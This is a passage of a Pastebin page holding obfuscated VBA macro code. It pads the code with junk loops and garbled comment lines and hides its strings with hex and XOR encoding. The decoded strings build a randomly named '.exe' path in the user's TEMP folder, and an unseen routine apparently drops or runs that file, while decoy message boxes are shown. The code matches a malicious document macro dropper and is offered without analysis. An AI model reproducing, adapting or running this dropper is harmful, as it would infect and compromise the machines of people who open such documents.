  1402. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1403. Next WCysYfBf
  1404. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1405. DoEvents
  1406. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1407. Next QmuzRrxl
  1408. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1409. Dim tJuqOByu As Integer
  1410. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1411. For tJuqOByu = 0 To 6
  1412. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1413. DoEvents
  1414. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1415. Next tJuqOByu
  1416. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1417.        MsgBox (XORI(Hextostring("281505383E1D2400787D"), Hextostring("4A4F514D")))
  1418. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1419. End If
  1420. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1421. If Len(XORI(Hextostring("0A1134203B2439237A767870"), Hextostring("42424146"))) = Len(XORI(Hextostring("0119052B1604323E"), Hextostring("6A7155"))) Then
  1422. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1423. Dim vHQPxsCJ As Integer
  1424. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1425. For vHQPxsCJ = 0 To 4
  1426. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1427. Dim adgZqHbj As Integer
  1428. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1429. For adgZqHbj = 0 To 2
  1430. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1431. DoEvents
  1432. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1433. Next adgZqHbj
  1434. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1435. DoEvents
  1436. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1437. Next vHQPxsCJ
  1438. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1439. Dim PgzTesdy As Integer
  1440. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1441. For PgzTesdy = 0 To 8
  1442. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1443. DoEvents
  1444. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1445. Next PgzTesdy
  1446. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1447.       MsgBox (XORI(Hextostring("2D0A33070A61495960"), Hextostring("687841")))
  1448. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1449. End If
  1450. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1451. Dim xorkdxlv As Integer
  1452. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1453. For xorkdxlv = 0 To 3
  1454. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1455. Dim SapNjNsq As Integer
  1456. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1457. For SapNjNsq = 0 To 6
  1458. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1459. DoEvents
  1460. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1461. Next SapNjNsq
  1462. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1463. DoEvents
  1464. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1465. Next xorkdxlv
  1466. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1467. Dim BZLdOUiV As Integer
  1468. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1469. For BZLdOUiV = 0 To 8
  1470. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1471. DoEvents
  1472. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1473. Next BZLdOUiV
  1474. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1475.    QOZMTJITZON fdGIVJK, Environ(XORI(Hextostring("22112733"), Hextostring("76546A634C"))) & XORI(Hextostring("2B082221350B3E2B301B2D3C59340C1C"), Hextostring("77517479"))
  1476. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1477.  
  1478. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1479. End Sub
  1480. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1481.  
  1482. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1483.  
  1484. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1485.  
  1486.  
  1487. Public Function XORI(ByVal BkyQYyHTwPu As String, ByVal lKlwqIrOyIOKQn As String) As String
  1488. Dim JLUsnQSzFZh As Long
  1489. For JLUsnQSzFZh = 1 To Len(BkyQYyHTwPu)
  1490. Dim EWHGnjis, oJcpDSNe, FSyRNuJW As String
  1491.  
  1492. Dim TECasFke As Integer
  1493. TECasFke = 4
  1494. Do While TECasFke < 16
  1495. DoEvents: TECasFke = TECasFke + 1
  1496. Loop
  1497.  
  1498. EWHGnjis = "           CRUDMA               "
  1499.  
  1500. Dim wSIsSVIl As Integer
  1501. wSIsSVIl = 5
  1502. Do While wSIsSVIl < 51
  1503. DoEvents: wSIsSVIl = wSIsSVIl + 1
  1504. Loop
  1505.  
  1506. oJcpDSNe = LTrim(EWHGnjis)
  1507.  
  1508. Dim lrisqeHY As Integer
  1509. lrisqeHY = 2
  1510. Do While lrisqeHY < 82
  1511. DoEvents: lrisqeHY = lrisqeHY + 1
  1512. Loop
  1513.  
  1514. FSyRNuJW = RTrim(oJcpDSNe)
  1515.  
  1516.  
  1517. Dim VwZYsxvf As Integer
  1518. VwZYsxvf = 9
  1519. Do While VwZYsxvf < 45
  1520. DoEvents: VwZYsxvf = VwZYsxvf + 1
  1521. Loop
  1522.  
  1523. XORI = XORI & Chr(Asc(Mid(lKlwqIrOyIOKQn, IIf(JLUsnQSzFZh Mod Len(lKlwqIrOyIOKQn) <> 0, JLUsnQSzFZh Mod Len(lKlwqIrOyIOKQn), Len(lKlwqIrOyIOKQn)), 1)) Xor Asc(Mid(BkyQYyHTwPu, JLUsnQSzFZh, 1)))
  1524. Next JLUsnQSzFZh
  1525. End Function
  1526.  
  1527. Public Function Hextostring(ByVal ieechSZgxYQ As String) As String
  1528. Dim dgYwaEC As String
  1529. Dim Ztjaoyh As String
  1530. Dim TTvEQs As Long
  1531. For TTvEQs = 1 To Len(ieechSZgxYQ) Step 2
  1532. Dim FtHnzrUL, eWXriGLA, TyqVJdZX As String
  1533.  
  1534. Dim GnUfEAHv As Integer
  1535. GnUfEAHv = 5
  1536. Do While GnUfEAHv < 36
  1537. DoEvents: GnUfEAHv = GnUfEAHv + 1
  1538. Loop
  1539.  
  1540. FtHnzrUL = "           PQWAQS               "
  1541.  
  1542. Dim vxVVvLAN As Integer
  1543. vxVVvLAN = 5
  1544. Do While vxVVvLAN < 57
  1545. DoEvents: vxVVvLAN = vxVVvLAN + 1
  1546. Loop
  1547.  
  1548. eWXriGLA = LTrim(FtHnzrUL)
  1549.  
  1550. Dim cbQXLJda As Integer
  1551. cbQXLJda = 2
  1552. Do While cbQXLJda < 96
  1553. DoEvents: cbQXLJda = cbQXLJda + 1
  1554. Loop
  1555.  
  1556. TyqVJdZX = RTrim(eWXriGLA)
  1557.  
  1558.  
  1559. Dim SJfDNEUa As Integer
  1560. SJfDNEUa = 5
  1561. Do While SJfDNEUa < 29
  1562. DoEvents: SJfDNEUa = SJfDNEUa + 1
  1563. Loop
  1564.  
  1565. dgYwaEC = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(ieechSZgxYQ, TTvEQs, 2)))
  1566. Dim RRwLlsDh, ZhBTkflG, FwQILzxB As String
  1567.  
  1568. Dim LBaFiwpy As Integer
  1569. LBaFiwpy = 9
  1570. Do While LBaFiwpy < 31
  1571. DoEvents: LBaFiwpy = LBaFiwpy + 1
  1572. Loop
  1573.  
  1574. RRwLlsDh = "           DABYVI               "
  1575.  
  1576. Dim kswymWaO As Integer
  1577. kswymWaO = 1
  1578. Do While kswymWaO < 22
  1579. DoEvents: kswymWaO = kswymWaO + 1
  1580. Loop
  1581.  
  1582. ZhBTkflG = LTrim(RRwLlsDh)
  1583.  
  1584. Dim uwujWtkN As Integer
  1585. uwujWtkN = 2
  1586. Do While uwujWtkN < 89
  1587. DoEvents: uwujWtkN = uwujWtkN + 1
  1588. Loop
  1589.  
  1590. FwQILzxB = RTrim(ZhBTkflG)
  1591.  
  1592.  
  1593. Dim rGlgFidd As Integer
  1594. rGlgFidd = 1
  1595. Do While rGlgFidd < 83
  1596. DoEvents: rGlgFidd = rGlgFidd + 1
  1597. Loop
  1598.  
  1599. Ztjaoyh = Ztjaoyh & dgYwaEC
  1600. Next TTvEQs
  1601. Dim sufqARtv, uicxXIZn, eiIIjDNA As String
  1602.  
  1603. Dim OyVCZAKz As Integer
  1604. OyVCZAKz = 5
  1605. Do While OyVCZAKz < 74
  1606. DoEvents: OyVCZAKz = OyVCZAKz + 1
  1607. Loop
  1608.  
  1609. sufqARtv = "           SJOPTO               "
  1610.  
  1611. Dim CEWsAszF As Integer
  1612. CEWsAszF = 7
  1613. Do While CEWsAszF < 46
  1614. DoEvents: CEWsAszF = CEWsAszF + 1
  1615. Loop
  1616.  
  1617. uicxXIZn = LTrim(sufqARtv)
  1618.  
  1619. Dim MWmsNhqa As Integer
  1620. MWmsNhqa = 9
  1621. Do While MWmsNhqa < 92
  1622. DoEvents: MWmsNhqa = MWmsNhqa + 1
  1623. Loop
  1624.  
  1625. eiIIjDNA = RTrim(uicxXIZn)
  1626.  
  1627.  
  1628. Dim OuKmWcfl As Integer
  1629. OuKmWcfl = 7
  1630. Do While OuKmWcfl < 74
  1631. DoEvents: OuKmWcfl = OuKmWcfl + 1
  1632. Loop
  1633.  
  1634. Hextostring = Ztjaoyh
  1635. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!